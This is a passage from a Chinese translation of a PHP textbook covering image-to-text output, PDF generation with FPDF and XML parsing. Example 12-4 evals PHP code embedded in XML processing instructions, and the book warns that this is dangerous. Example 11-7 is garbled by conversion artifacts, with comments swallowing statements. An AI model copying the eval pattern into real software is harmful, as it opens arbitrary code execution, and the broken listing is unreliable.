图 10-15 展示了颜色测试程序的输出。

颜色测试

图 10-15. 颜色测试

显然,它比我们在黑白打印中展示的要更加丰富多彩,因此请自行尝试此示例。在这个特定示例中,仅计算像素颜色要比为每种颜色调用imagecolorallocatealpha()更容易。

图像的文本表示

imagecolorat() 函数的一个有趣用途是循环遍历图像中的每个像素,并使用该颜色数据执行某些操作。示例 10-14 在php-tiny.jpg图像中的每个像素处打印#,表示该像素的颜色。

示例 10-14. 将图像转换为文本
<html><body bgcolor="#000000">

<tt><?php
$image = imagecreatefromjpeg("php_logo_tiny.jpg");

$dx = imagesx($image);
$dy = imagesy($image);

for ($y = 0; $y < $dy; $y++) {
 for ($x = 0; $x < $dx; $x++) {
 $colorIndex = imagecolorat($image, $x, $y);
 $rgb = imagecolorsforindex($image, $colorIndex);

 printf('<font color=#%02x%02x%02x>#</font>',
 $rgb['red'], $rgb['green'], $rgb['blue']);
 }

 echo "<br>\n";
} ?></tt>

</body></html>

其结果是图像的 ASCII 表示,如图 10-16 所示。

图像的 ASCII 表示

图 10-16. 图像的 ASCII 表示

接下来是什么

有许多不同的方式可以利用 PHP 在运行时处理图像。这确实打破了 PHP 仅用于生成 Web HTML 内容的神话。如果你有时间和兴趣更深入地探索可能性,请随意尝试这里的代码示例。在下一章中,我们将探讨生成动态 PDF 文档中的另一个神话破除者。敬请关注!

¹ 这仅适用于具有调色板的图像。使用ImageCreateTrueColor() 创建的真彩色图像不遵循此规则。

² UTF-8 是一个 8 位 Unicode 编码方案(http://www.unicode.org)。

第十一章:PDF

Adobe 的便携式文档格式(PDF)是一种在屏幕和打印输出中获得一致外观的流行方式,本章将向您展示如何动态创建包含文本、图形、链接等内容的 PDF 文件。这样做将为许多应用程序打开大门。您几乎可以创建任何类型的商业文档,包括格式信、发票和收据。此外,您还可以通过将文本叠加到纸质表格的扫描副本上并将结果保存为 PDF 文件来自动化大部分文书工作。

PDF 扩展

PHP 有几个用于生成 PDF 文档的库。本章的示例使用流行的FPDF 库,这是一组 PHP 代码,您可以通过require()函数包含在脚本中——它不需要任何服务器端配置或支持,因此即使在没有主机支持的情况下也可以使用。但是,PDF 文件的基本概念、结构和特性应该适用于所有的 PDF 库。

注意

另一个生成 PDF 的库,TCPDF,在处理 HTML 特殊字符和 UTF-8 多语言输出方面比 FPDF 更强大。如果您需要这种功能,请查看它。您将使用的方法是writeHTMLCell()writeHTML()

文档和页面

PDF 文档由多个页面组成,每个页面包含文本和/或图像。本节将向您展示如何创建文档、在文档中添加页面、向页面写入文本,并在完成后将页面发送回浏览器。

注意

本章示例假设您至少已将 Adobe PDF 文档查看器安装为浏览器的附加组件。否则,这些示例将无法运行。您可以从Adobe 网站获取该附加组件。

一个简单的示例

让我们从一个简单的 PDF 文档开始。示例 11-1 将文本“Hello Out There!”写入一个页面,然后显示生成的 PDF 文档。

示例 11-1。“PDF 中的 Hello Out There!”
<?php

require("../fpdf/fpdf.php"); // path to fpdf.php

$pdf = new FPDF();
$pdf->addPage();

$pdf->setFont("Arial", 'B', 16);
$pdf->cell(40, 10, "Hello Out There!");

$pdf->output();

示例 11-1 展示了创建 PDF 文档的基本步骤:创建一个新的 PDF 对象实例、创建一个页面、为 PDF 文本设置有效的字体,并将文本写入页面上的“单元格”中。图 11-1 展示了示例 11-1 的输出。

“Hello Out There!”PDF 示例

图 11-1。“PDF 中的 Hello Out There!”示例

初始化文档

在示例 11-1 中,我们首先通过require()函数引用了 FPDF 库。然后代码创建了 FPDF 对象的新实例。请注意,对新 FPDF 实例的所有调用都是该对象中方法的面向对象调用。(如果您在本章中的示例中遇到问题,请参阅第六章。)创建了 FPDF 对象的新实例后,您需要向对象添加至少一页,因此调用了AddPage()方法。接下来,您需要为即将生成的输出设置字体,使用SetFont()调用。然后,使用cell()方法调用,您可以将输出发送到创建的文档。要将所有工作发送到浏览器,只需使用output()方法。

输出基本文本单元格

在 FPDF 库中,单元格是页面上的一个矩形区域,您可以创建并控制它。该单元格可以具有高度、宽度和边框,并且当然可以包含文本。cell()方法的基本语法如下:

cell(`float` w [, `float` h [, `string` txt [, `mixed` border
 [, `int` ln [, `string` align [, `int` fill [, `mixed` link]]]]]]])

第一个选项是宽度,然后是高度,接着是要输出的文本。然后是边框,换行控制,文本的对齐方式,文本的填充颜色,最后是是否希望文本成为 HTML 链接。例如,如果我们想要更改我们的原始示例以具有边框并且居中对齐,我们将更改cell()代码如下:

$pdf->cell(90, 10, "Hello Out There!", 1, 0, 'C');

在使用 FPDF 生成 PDF 文档时,您将广泛使用cell()方法,因此最好花一些时间了解此方法的细节。我们将在本章中涵盖大部分内容。

文本

文本是 PDF 文件的核心。因此,有许多选项可更改其外观和布局。在本节中,我们将讨论 PDF 文档中使用的坐标系统、插入文本和更改文本属性的功能,以及字体的使用。

坐标

在 FPDF 库中,PDF 文档的原点(0, 0)位于定义页面的左上角。所有的测量单位都是以点、毫米、英寸或厘米来指定的。点(默认)等于 1/72 英寸,或 0.35 毫米。在示例 11-2 中,我们使用FPDF()类的实例化构造方法将页面尺寸的默认值更改为英寸。此调用的其他选项包括页面的方向(纵向或横向)和页面大小(通常是 Legal 或 Letter)。该实例化的所有选项显示在表 11-1 中。

表 11-1. FPDF 选项

FPDF()构造函数参数 参数选项
方向 P(纵向;默认)L(横向)

| 测量单位 | pt(点,或 1/72 英寸,默认)in(英寸)

mm(毫米)

cm(厘米)|

| 页面尺寸 | Letter(默认)Legal

A5

A3

A4或可自定义尺寸(请参阅 FPDF 文档)|

此外,在示例 11-2 中,我们使用ln()方法调用来管理页面的当前行。ln()方法可以带有一个可选参数,指示它移动多少个单位(即构造函数调用中定义的度量单位)。在我们的情况下,我们将页面定义为以英寸为单位,因此我们在文档中以英寸为单位移动。此外,由于我们将页面定义为以英寸为单位,因此cell()方法的坐标也以英寸为单位呈现。

这并不是构建 PDF 页面的理想方法,因为使用英寸单位时,您无法像使用点或毫米单位那样精细控制。在此示例中,我们使用英寸单位以便更清楚地看到示例。

示例 11-2 将文本放置在页面的角落和中心。

示例 11-2. 演示坐标和线条管理
<?php
require("../fpdf/fpdf.php");

$pdf = new FPDF('P', 'in', 'Letter');
$pdf->addPage();

$pdf->setFont('Arial', 'B', 24);

$pdf->cell(0, 0, "Top Left!", 0, 1, 'L');
$pdf->cell(6, 0.5, "Top Right!", 1, 0, 'R');
$pdf->ln(4.5);

$pdf->cell(0, 0, "This is the middle!", 0, 0, 'C');
$pdf->ln(5.3);

$pdf->cell(0, 0, "Bottom Left!", 0, 0, 'L');
$pdf->cell(0, 0, "Bottom Right!", 0, 0, 'R');

$pdf->output();

示例 11-2 的输出显示在图 11-2 中。

坐标和线条控制演示输出

图 11-2. 坐标和线条控制演示输出

让我们稍微分析一下这段代码。在我们用构造函数定义页面之后,我们看到了以下代码行:

$pdf->cell(0, 0, "Top Left!", 0, 1, 'L');
$pdf->cell(6, 0.5, "Top Right!", 1, 0, 'R');
$pdf->ln(4.5);

第一个cell()方法调用告诉 PDF 类从顶部坐标(0,0)开始,并输出左对齐文本“Top Left!”,无边框,并在输出结束时插入换行符。接下来的cell()方法调用会创建一个宽度为六英寸的单元格,再次从页面左侧开始,带有半英寸高的边框和右对齐文本“Top Right!”。然后,我们告诉 PDF 类在页面上向下移动 4½英寸,并从那一点继续生成输出。正如您所见,单凭cell()ln()方法就有许多可能的组合。但 FPDF 库的功能远不止这些。

文本属性

有三种常见的修改文本外观的方法:粗体、下划线和斜体。在示例 11-3 中,使用SetFont()方法(在本章前面介绍过)来改变输出文本的格式。请注意,这些文本外观的修改并非互斥(即,可以任意组合使用),并且在最后一个SetFont()调用中更改了字体名称。

示例 11-3. 演示字体属性
<?php
require("../fpdf/fpdf.php");

$pdf = new FPDF();
$pdf->addPage();

$pdf->setFont("Arial", '', 12);
$pdf->cell(0, 5, "Regular normal Arial Text here, size 12", 0, 1, 'L');
$pdf->ln();

$pdf->setFont("Arial", 'IBU', 20);
$pdf->cell(0, 15, "This is Bold, Underlined, Italicised Text size 20", 0, 0, 'L');
$pdf->ln();

$pdf->setFont("Times", 'IU', 15);
$pdf->cell(0, 5, "This is Underlined Italicised 15pt Times", 0, 0, 'L');

$pdf->output();

此外,在这段代码中,构造函数是以无参数形式调用的,使用了纵向、点数和信件的默认值。示例 11-3 的输出显示在图 11-3 中。

改变字体类型、大小和属性

图 11-3. 改变字体类型、大小和属性

FPDF 提供的可用字体样式包括:

  • Courier(等宽字体)

  • HelveticaArial(同义词;无衬线字体)

  • Times(衬线字体)

  • Symbol(符号)

  • ZapfDingbats(符号)

您可以使用AddFont()方法包含任何其他您具有定义文件的字体系列。

当然,如果您不能改变输出到 PDF 定义中的文本的颜色,那将毫无乐趣可言。这时就需要用到SetTextColor()方法了。该方法接受现有的字体定义,并简单地改变文本的颜色。务必在使用cell()方法之前调用此方法,以便可以更改单元格的内容。颜色参数是由红、绿和蓝的数字常量组合而成,范围从0(无色)到255(全彩色)。如果您不传入第二和第三个参数,则第一个数字将是一个灰度,其红、绿和蓝值均等于传入的单个值。示例 11-4 展示了如何应用此方法。

示例 11-4. 展示颜色属性
<?php
require("../fpdf/fpdf.php");

$pdf = new FPDF();
$pdf->addPage();

$pdf->setFont("Times", 'U', 15);
$pdf->setTextColor(128);
$pdf->cell(0, 5, "Times font, Underlined and shade of Grey Text", 0, 0, 'L');
$pdf->ln(6);

$pdf->setTextColor(255, 0, 0);
$pdf->cell(0, 5, "Times font, Underlined and Red Text", 0, 0, 'L');

$pdf->output();

图 11-4 是示例 11-4 中代码的结果。

添加颜色到文本输出

Figure 11-4. 添加颜色到文本输出

页面头部、页脚和类扩展

到目前为止,我们只看了 PDF 页面中少量输出的内容。我们特意这样做是为了向您展示在受控环境中可以做什么的多样性。现在我们需要扩展 FPDF 库的功能。请记住,这个库实际上只是一个供您使用和扩展的类定义,我们现在来看看后者。由于 FPDF 确实是一个类定义,我们只需使用 PHP 中原生的对象命令来扩展它,就像这样:

class MyPDF extends FPDF

在这里,我们将FPDF类扩展为一个名为MyPDF的新类。然后,我们可以扩展对象中的任何方法。如果愿意,我们甚至可以向我们的类扩展中添加更多方法,但这一点稍后再谈。我们将首先查看的两个方法是现有的空方法的扩展,这些空方法在FPDF类的父类中预定义:header()footer()。这些方法的功能正如它们的名称所示,为 PDF 文档中的每一页生成页面头和页脚。示例 11-5 相当长,展示了这两个方法的定义。您会注意到只有少数新使用的方法;其中最重要的是AliasNbPages(),它简单地用于在 PDF 文档发送到浏览器之前跟踪整体页面计数。

示例 11-5. 定义头部和尾部方法
<?php
require("../fpdf/fpdf.php");

class MyPDF extends FPDF
{
 function header()
 {
 global $title;

 $this->setFont("Times", '', 12);
 $this->setDrawColor(0, 0, 180);
 $this->setFillColor(230, 0, 230);
 $this->setTextColor(0, 0, 255);
 $this->setLineWidth(1);

 $width = $this->getStringWidth($title) + 150;
 $this->cell($width, 9, $title, 1, 1, 'C', 1);
 $this->ln(10);
 }

 function footer()
 {
 //Position at 1.5 cm from bottom
 $this->setY(-15);
 $this->setFont("Arial", 'I', 8);
 $this->cell(0, 10,
 "This is the page footer -> Page {$this->pageNo()}/{nb}", 0, 0, 'C');
 }
}

$title = "FPDF Library Page Header";

$pdf = new MyPDF('P', 'mm', 'Letter');
$pdf->aliasNbPages();
$pdf->addPage();

$pdf->setFont("Times", '', 24);
$pdf->cell(0, 0, "some text at the top of the page", 0, 0, 'L');
$pdf->ln(225);

$pdf->cell(0, 0, "More text toward the bottom", 0, 0, 'C');

$pdf->addPage();
$pdf->setFont("Arial", 'B', 15);

$pdf->cell(0, 0, "Top of page 2 after header", 0, 1, 'C');

$pdf->output();

示例 11-5 的结果显示在图 11-5 中。这是两页并排显示的截图,显示页脚中的页数和第一页顶部的页码。页眉有一个带有一些着色的单元格(用于美观效果);当然,如果您不想使用颜色,您也可以不使用。

FPDF 头部和页脚添加

图 11-5. FPDF 头部和页脚添加

图片和链接

FPDF 库还可以处理 PDF 文档内部或外部的图像插入和链接控制。让我们首先看看 FPDF 如何允许您将图形插入到文档中。也许您正在构建一个使用公司标志的 PDF 文档,并希望制作一个横幅以打印在每一页的顶部。我们可以使用前面定义的header()footer()方法来实现这一点。一旦我们有要使用的图像文件,我们只需调用image()方法将图像放置在 PDF 文档中即可。

新的header()方法代码如下:

function header()
{
 global $title;

 $this->setFont("Times", '', 12);
 $this->setDrawColor(0, 0, 180);
 $this->setFillColor(230, 0, 230);
 $this->setTextColor(0, 0, 255);
 $this->setLineWidth(0.5);

 $width = $this->getStringWidth($title) + 120;

 $this->image("php_logo_big.jpg", 10, 10.5, 15, 8.5);
 $this->cell($width, 9, $title, 1, 1, 'C');
 $this->ln(10);
}

正如您所见,image()方法的参数是要使用的图像文件名,开始图像输出的x坐标,y坐标,以及图像的宽度和高度。如果您没有指定宽度和高度,FPDF 将尽其所能在指定的xy坐标处呈现图像。代码在其他方面也有所更改。我们从cell()方法调用中删除了填充颜色参数,尽管我们仍然调用了填充颜色方法。这使得头部单元格周围的框区域为白色,以便我们可以轻松插入图像。

这个新标题插入图像的头部输出显示在图 11-6 中。

插入图像文件的 PDF 页面头部

图 11-6. 插入图像文件的 PDF 页面头部

本节标题中还有链接,现在让我们来看看如何使用 FPDF 在 PDF 文档中添加链接。FPDF 可以创建两种类型的链接:内部链接(即 PDF 文档内部到同一文档的另一个位置,比如两页后)和外部链接到 Web URL。

内部链接分为两部分创建。首先,您定义链接的起点或原点,然后设置链接被点击时要去的锚点或目的地。要设置链接的起点,请使用addLink()方法。此方法将返回一个句柄,您需要在创建链接的目的部分使用该句柄。要设置目的地,请使用setLink()方法,该方法以起始链接句柄作为其参数,以便它可以执行两步之间的连接。

可以通过两种方式创建外部 URL 类型的链接。如果您使用图像作为链接,需要使用image()方法。如果要使用纯文本作为链接,需要使用cell()write()方法。在本例中,我们使用write()方法。

示例 11-6 中显示了内部和外部链接。

示例 11-6. 创建内部和外部链接
<?php
require("../fpdf/fpdf.php");

$pdf = new FPDF();

// First page
$pdf->addPage();
$pdf->setFont("Times", '', 14);

$pdf->write(5, "For a link to the next page - Click");
$pdf->setFont('', 'U');
$pdf->setTextColor(0, 0, 255);
$linkToPage2 = $pdf->addLink();
$pdf->write(5, "here", $linkToPage2);
$pdf->setFont('');

// Second page
$pdf->addPage();
$pdf->setLink($linkToPage2);
$pdf->image("php-tiny.jpg", 10, 10, 30, 0, '', "http://www.php.net");
$pdf->ln(20);

$pdf->setTextColor(1);
$pdf->cell(0, 5, "Click the following link, or click on the image", 0, 1, 'L');
$pdf->setFont('', 'U');
$pdf->setTextColor(0,0,255);
$pdf->write(5, "www.oreilly.com", "http://www.oreilly.com");

$pdf->output();

此代码生成的两页输出显示在图 11-7 和图 11-8 中。

链接 PDF 文档的第一页

Figure 11-7. 链接 PDF 文档的第一页

链接 PDF 文档的第二页,包含 URL 链接

Figure 11-8. 链接 PDF 文档的第二页,包含 URL 链接

表格和数据

到目前为止,我们只看到了静态 PDF 材料。但是 PHP 的功能远不止静态处理。在本节中,我们将结合数据库中的一些数据(使用数据库信息的 MySQL 示例来自第九章)和 FPDF 生成表格的能力。

注意

请确保参考第九章 中提供的数据库文件结构,以便在本节中跟随进展。

示例 11-7 稍微有些冗长。不过,它有详细的注释,请先阅读这里的内容;我们将在列表后面介绍要点。

示例 11-7. 生成表格
<?php
`require`("../fpdf/fpdf.php");

`class` TablePDF `extends` FPDF
{
 `function` buildTable($header, $data)
 {
 $this->setFillColor(255, 0, 0);
 $this->setTextColor(255);
 $this->setDrawColor(128, 0, 0);
 $this->setLineWidth(0.3);
 $this->setFont('', 'B');

//Header // make an array for the column widths
 $widths = `array`(85, 40, 15);
// send the headers to the PDF document
 `for`($i = 0; $i < *`count`*($header); $i++) {
 $this->cell($widths[$i], 7, $header[$i], 1, 0, 'C', 1);
 }

 $this->ln();

// Color and font restoration
 $this->setFillColor(175);
 $this->setTextColor(0);
 $this->setFont('');

// now spool out the data from the $data array
 $fill = 0;// used to alternate row color backgrounds
 $url = "http://www.oreilly.com";

 `foreach`($data `as` $row)
 {
 $this->cell($widths[0], 6, $row[0], 'LR', 0, 'L', $fill);

// set colors to show a URL style link
 $this->setTextColor(0, 0, 255);
 $this->setFont('', 'U');
 $this->cell($widths[1], 6, $row[1], 'LR', 0, 'L', $fill, $url);

// restore normal color settings
 $this->setTextColor(0);
 $this->setFont('');
 $this->cell($widths[2], 6, $row[2], 'LR', 0, 'C', $fill);

 $this->ln();

 $fill = ($fill) ? 0 : 1;
 }
 $this->cell(*`array_sum`*($widths), 0, '', 'T');
 }
}

//connect to database $dbconn = `new` mysqli('localhost', 'dbusername', 'dbpassword', 'library');
$sql = "SELECT * FROM books ORDER BY title";
$result = $dbconn->query($sql);

// build the data array from the database records. `while` ($row = $result->fetch_assoc()) {
 $data[] = `array`($row['title'], $row['ISBN'], $row['pub_year']);
}

// start and build the PDF document $pdf = `new` TablePDF();

// Column titles $header = `array`("Title", "ISBN", "Year");

$pdf->setFont("Arial", '', 14);

$pdf->addPage();
$pdf->buildTable($header, $data);

$pdf->output();

我们正在使用数据库连接并构建两个数组,将其发送到此扩展类的buildTable()自定义方法。在buildTable()方法中,我们为表头设置颜色和字体属性。然后,根据第一个传入的数组发送表头。还有一个称为$width的数组,用于在调用cell()时设置列宽。

在发送表格头之后,我们使用包含数据库信息的$data数组,并通过foreach循环遍历该数组。请注意,此处的cell()方法在其border参数中使用了'LR'。这会在所涉及的单元格左右添加边框,从而有效地为表行添加边框。我们还在第二列中添加了一个 URL 链接,以演示它可以与表行构建一起完成。最后,我们使用$fill变量来交替切换,使表格行逐行建立时背景色会交替变化。

buildTable()方法中对cell()方法的最后一次调用用于绘制表格底部并关闭列。

此代码的结果显示在 Figure 11-9 中。

基于数据库信息生成的 FPDF 表格,包含活动 URL 链接

Figure 11-9. 基于数据库信息生成的 FPDF 表格,包含活动 URL 链接

接下来做什么

这一章中没有涵盖的 FPDF 的其他功能还有很多。请务必访问库的网站,查看它能帮助你完成的其他示例。那里还有代码片段和完全功能的脚本,以及一个讨论论坛,全部旨在帮助你成为 FPDF 的专家。

在接下来的章节中,我们将稍微调整一下方向,探讨 PHP 与 XML 之间的交互。我们将涵盖一些技术,可以用来“消费”XML,并且介绍如何使用一个名为 SimpleXML 的内置库来解析它。

第十二章《XML》

可扩展标记语言 XML 是一种标准化的数据格式。它看起来有点像 HTML,使用标签(<example>像这样</example>)和实体(&amp;)。然而,与 HTML 不同,XML 旨在易于以程序方式解析,并且有关于在 XML 文档中可以和不可以做的规则。XML 现在是出版、工程和医学等各个领域的标准数据格式。它用于远程过程调用、数据库、采购订单等各种用途。

有许多情况下你可能希望使用 XML。因为它是数据传输的常见格式,其他程序可以生成 XML 文件供您提取信息(解析)或在 HTML 中显示(转换)。本章将向您展示如何使用 PHP 捆绑的 XML 解析器,以及如何使用可选的 XSLT 扩展来转换 XML。我们还简要介绍了生成 XML 的方法。

近年来,XML 已经被用于远程过程调用(XML-RPC)。客户端将函数名和参数值编码为 XML,并通过 HTTP 发送到服务器。服务器解码函数名和数值,决定如何处理,并返回以 XML 编码的响应值。XML-RPC 已被证明是一种有用的方法,可以集成用不同语言编写的应用程序组件。我们将在第十六章展示如何编写 XML-RPC 服务器和客户端,但现在让我们先看一下 XML 的基础知识。

《XML 简明指南》

大多数 XML 由元素(类似 HTML 标签)、实体和常规数据组成。例如:

<book isbn="1-56592-610-2">
 <title>Programming PHP</title>
 <authors>
 <author>Rasmus Lerdorf</author>
 <author>Kevin Tatroe</author>
 <author>Peter MacIntyre</author>
 </authors>
</book>

在 HTML 中,通常会有未闭合的开放标签。最常见的例子是:

<br>

在 XML 中,这是非法的。XML 要求每个开放标签都有对应的闭合标签。对于不包含任何内容的标签,如换行符<br>,XML 添加了这种语法:

<br />

标签可以嵌套但不能重叠。例如,这是有效的:

<book><title>Programming PHP</title></book>

但这个则无效,因为<book><title>标签重叠:

<book><title>Programming PHP</book></title>

XML 还要求文档以标识正在使用的 XML 版本开头(可能还包括其他内容,如文本编码)。例如:

<?xml version="1.0" ?>

符合格式良好的 XML 文档的最后要求是文件顶层只能有一个元素。例如,这是格式良好的:

<?xml version="1.0" ?>
<library>
 <title>Programming PHP</title>
 <title>Programming Perl</title>
 <title>Programming C#</title>
</library>

这不是格式良好的,因为文件顶层有三个元素:

<?xml version="1.0" ?>
<title>Programming PHP</title>
<title>Programming Perl</title>
<title>Programming C#</title>

XML 文档通常不是完全自由的。XML 文档中的特定标签、属性和实体,以及它们嵌套的规则,构成了文档的结构。有两种方法来定义这种结构:文档类型定义(DTD)和模式。DTD 和模式用于验证文档,即确保它们遵循其文档类型的规则。

大多数 XML 文档不包括 DTD;在这些情况下,文档仅在其为有效 XML 时被视为有效。其他情况下,文档通过一个指定名称和位置(文件或 URL)的外部实体来识别 DTD:

<!DOCTYPE rss PUBLIC 'My DTD Identifier' 'http://www.example.com/my.dtd'>

有时将一个 XML 文档封装在另一个 XML 文档中会很方便。例如,表示邮件消息的 XML 文档可能具有包围附加文件的 attachment 元素。如果附加文件是 XML,则它是一个嵌套的 XML 文档。如果邮件消息文档有一个 body 元素(消息主题),并且附加文件是一个表示解剖学的 XML 表示,该表示也具有 body 元素,但此元素具有完全不同的 DTD 规则,那么在 body 在文档的中途更改意义时,如何验证或理解文档呢?

使用命名空间解决了这个问题。命名空间允许您限定 XML 标签,例如 email:bodyhuman:body

XML 比我们在这里讨论的还要复杂得多。要对 XML 进行简要介绍,请阅读 Learning XML(O’Reilly 出版)的书籍,由埃里克·雷(Erik Ray)编写。要详细了解 XML 语法和标准,请参阅 XML in a Nutshell(O’Reilly 出版)的书籍,由艾略特·拉斯蒂·哈罗德(Elliotte Rusty Harold)和 W. Scott Means 编写。

生成 XML

就像 PHP 可以用于生成动态 HTML 一样,它也可以用于生成动态 XML。您可以基于表单、数据库查询或其他任何 PHP 可以做的事情来为其他程序生成 XML。动态 XML 的一个应用是 Rich Site Summary(RSS),这是一个用于聚合新闻站点的文件格式。您可以从数据库或 HTML 文件中读取文章信息,并根据该信息生成 XML 摘要文件。

从 PHP 脚本生成 XML 文档很简单。只需使用 header() 函数更改文档的 MIME 类型为 "text/xml"。要发出 <?xml ... ?> 声明而不被解释为格式不正确的 PHP 标签,只需从 PHP 代码内部 echo 该行:

echo '<?xml version="1.0" encoding="ISO-8859-1" ?>';

示例 12-1 使用 PHP 生成了一个 RSS 文档。RSS 文件是一个 XML 文档,包含多个 channel 元素,每个元素包含一些新闻 item 元素。每个新闻 item 可以有一个标题、一个描述和指向文章本身的链接。RSS 支持的 item 属性比 示例 12-1 创建的要多。正如 PHP 生成 HTML 没有特殊函数一样,生成 XML 也没有特殊函数。你只需 echo 它!

示例 12-1. 生成 XML 文档
<?php
header('Content-Type: text/xml');
echo "<?xml version=\"1.0\" encoding=\"ISO-8859-1\" ?>";
?>
<!DOCTYPE rss PUBLIC "-//Netscape Communications//DTD RSS 0.91//EN"
 "http://my.netscape.com/publish/formats/rss-0.91.dtd">

<rss version="0.91">
 <channel>
 <?php
 // news items to produce RSS for
 $items = array(
 array(
 'title' => "Man Bites Dog",
 'link' => "http://www.example.com/dog.php",
 'desc' => "Ironic turnaround!"
 ),
 array(
 'title' => "Medical Breakthrough!",
 'link' => "http://www.example.com/doc.php",
 'desc' => "Doctors announced a cure for me."
 )
 );

 foreach($items as $item) {
 echo "<item>\n";
 echo " <title>{$item['title']}</title>\n";
 echo " <link>{$item['link']}</link>\n";
 echo " <description>{$item['desc']}</description>\n";
 echo " <language>en-us</language>\n";
 echo "</item>\n\n";
 } ?>
 </channel>
</rss>

此脚本生成以下输出:

<?xml version="1.0" encoding="ISO-8859-1" ?>
<!DOCTYPE rss PUBLIC "-//Netscape Communications//DTD RSS 0.91//EN"
 "http://my.netscape.com/publish/formats/rss-0.91.dtd">
<rss version="0.91">
 <channel>
<item>
 <title>Man Bites Dog</title>
 <link>http://www.example.com/dog.php</link>
 <description>Ironic turnaround!</description>
 <language>en-us</language>
</item>

<item>
 <title>Medical Breakthrough!</title>
 <link>http://www.example.com/doc.php</link>
 <description>Doctors announced a cure for me.</description>
 <language>en-us</language>
</item>
 </channel>
</rss>

解析 XML

假设您有一组 XML 文件,每个文件包含关于一本书的信息,并且您想构建一个索引,显示集合中每本书的文档标题及其作者。您需要解析 XML 文件以识别 titleauthor 元素及其内容。您可以通过正则表达式和诸如 strtok() 的字符串函数手动执行此操作,但实际上这比看起来要复杂得多。此外,即使是有效的 XML 文档,这样的方法也容易出现故障。最简单和最快的解决方案是使用 PHP 随附的 XML 解析器之一。

PHP 包括三个 XML 解析器:一个基于 Expat C 库的事件驱动库,一个基于 DOM 的库,以及一个用于解析简单 XML 文档的名为 SimpleXML 的库。

最常用的解析器是基于事件的库,允许解析但不验证 XML 文档。这意味着您可以了解存在哪些 XML 标签及其周围的内容,但不能确定它们是否是该类型文档正确结构中正确的 XML 标签。在实践中,这通常不是一个大问题。PHP 的事件驱动 XML 解析器在读取文档时调用您提供的各种处理器函数,遇到特定的 事件,如元素的开始或结束。

在接下来的章节中,我们将讨论您可以提供的处理器、设置处理器的函数以及触发这些处理器调用的事件。我们还提供了用于创建解析器以在内存中生成 XML 文档映射的示例函数,这些示例函数与一个示例应用程序结合在一起,以美化 XML。

元素处理器

当解析器遇到元素的开始或结束时,将调用起始和结束元素处理器。您可以通过 xml_set_element_handler() 函数设置这些处理器:

xml_set_element_handler(*`parser`*, *`start_element`*, *`end_element`*);

start_elementend_element 参数是处理器函数的名称。

当 XML 解析器遇到元素开始时,将调用起始元素处理器:

*`startElementHandler`*(*`parser`*, *`element`*, *`&``attributes`*);

起始元素处理器接收三个参数:调用处理器的 XML 解析器的引用,已打开的元素的名称以及包含解析器遇到的元素任何属性的数组。$attribute 数组通过引用传递以提高速度。

示例 12-2 包含了一个起始元素处理器 startElement() 的代码。该处理器简单地以粗体打印元素名称,并以灰色显示属性。

示例 12-2. 起始元素处理器
function startElement($parser, $name, $attributes) {
 $outputAttributes = array();

 if (count($attributes)) {
 foreach($attributes as $key => $value) {
 $outputAttributes[] = "<font color=\"gray\">{$key}=\"{$value}\"</font>";
 }
 }

 echo "&lt;<b>{$name}</b> " . join(' ', $outputAttributes) . '&gt;';
}

当解析器遇到元素结束时,将调用结束元素处理器:

*`endElementHandler`*(*`parser`*, *`element`*);

它接受两个参数:调用处理器的 XML 解析器的引用,以及正在关闭的元素的名称。

示例 12-3 展示了一个结束元素处理器,格式化该元素。

示例 12-3. 结束元素处理器
function endElement($parser, $name) {
 echo "&lt;<b>/{$name}</b>&gt;";
}

字符数据处理器

在元素之间的所有文本(字符数据,或 XML 术语中的 CDATA)由字符数据处理程序处理。您使用 xml_set_character``_data_handler() 函数设置的处理程序在每个字符数据块后被调用:

xml_set_character_data_handler(*`parser`*, *`handler`*);

字符数据处理程序接收引发处理程序的 XML 解析器的引用和包含字符数据本身的字符串:

*`characterDataHandler`*(*`parser`*, *`cdata`*);

这是一个简单的字符数据处理程序,只需打印数据:

function characterData($parser, $data) {
 echo $data;
}

处理指令

处理指令用于在 XML 中嵌入脚本或其他代码到文档中。PHP 本身可以看作是一个处理指令,并且使用 <?php ... ?> 标签样式遵循 XML 格式来标记代码。当 XML 解析器遇到处理指令时,会调用处理指令处理程序。使用 xml_set_processing_instruction_handler() 函数设置处理程序:

xml_set_processing_instruction_handler(*`parser`*, *`handler`*);

处理指令看起来像:

<? *`target` `instructions`* ?>

处理指令处理程序接收引发处理程序的 XML 解析器的引用、目标名称(例如,'php')和处理指令:

*`processingInstructionHandler`*(*`parser`*, *`target`*, *`instructions`*);

处理指令如何处理取决于您。其中一种技巧是将 PHP 代码嵌入 XML 文档中,并在解析文档时使用 eval() 函数执行该 PHP 代码。示例 12-4 就是这样做的。当然,如果要包含 eval() 代码,您必须信任正在处理的文档。eval() 将运行提供给它的任何代码,甚至是销毁文件或将密码发送给破解者的代码。实际上,执行这种任意代码非常危险。

示例 12-4. 处理指令处理程序
function processing_instruction($parser, $target, $code) {
 if ($target === 'php') {
 eval($code);
 }
}

实体处理程序

XML 中的实体是占位符。XML 提供了五个标准实体(&amp;&gt;&lt;&quot;&apos;),但 XML 文档可以定义它们自己的实体。大多数实体定义不会触发事件,而 XML 解析器在调用其他处理程序之前会展开文档中的大多数实体。

两种类型的实体,外部和未解析的,PHP 的 XML 库提供了特殊支持。外部 实体是其替换文本由文件名或 URL 标识而不是在 XML 文件中显式给出的实体。您可以定义一个处理程序,以便在字符数据中发生外部实体时调用它,但如果需要的话,您必须自行解析文件或 URL 的内容。

未解析 实体必须伴随有一个标记声明,虽然您可以为未解析实体和标记的声明定义处理程序,但在调用字符数据处理程序之前,文本中的未解析实体会被删除。

外部实体

外部实体引用允许 XML 文档包含其他 XML 文档。通常,外部实体引用处理程序会打开引用的文件,解析文件,并将结果包含在当前文档中。使用 xml_set_external_entity_ref_handler() 设置处理程序,该函数接受 XML 解析器的引用和处理程序函数的名称:

xml_set_external_entity_ref_handler(*`parser`*, *`handler`*);

外部实体引用处理程序带有五个参数:触发处理程序的解析器、实体的名称、用于解析实体标识符的基本统一资源标识符(URI)(当前始终为空)、系统标识符(例如文件名)以及实体声明中定义的实体的公共标识符。例如:

*`externalEntityHandler`*(*`parser`*, *`entity`*, *`base`*, *`system`*, *`public`*);

如果您的外部实体引用处理程序返回 false(如果它不返回任何值,则会返回 false),XML 解析将停止,并显示 XML_ERROR_EXTERNAL_ENTITY_HANDLING 错误。如果返回 true,解析将继续。

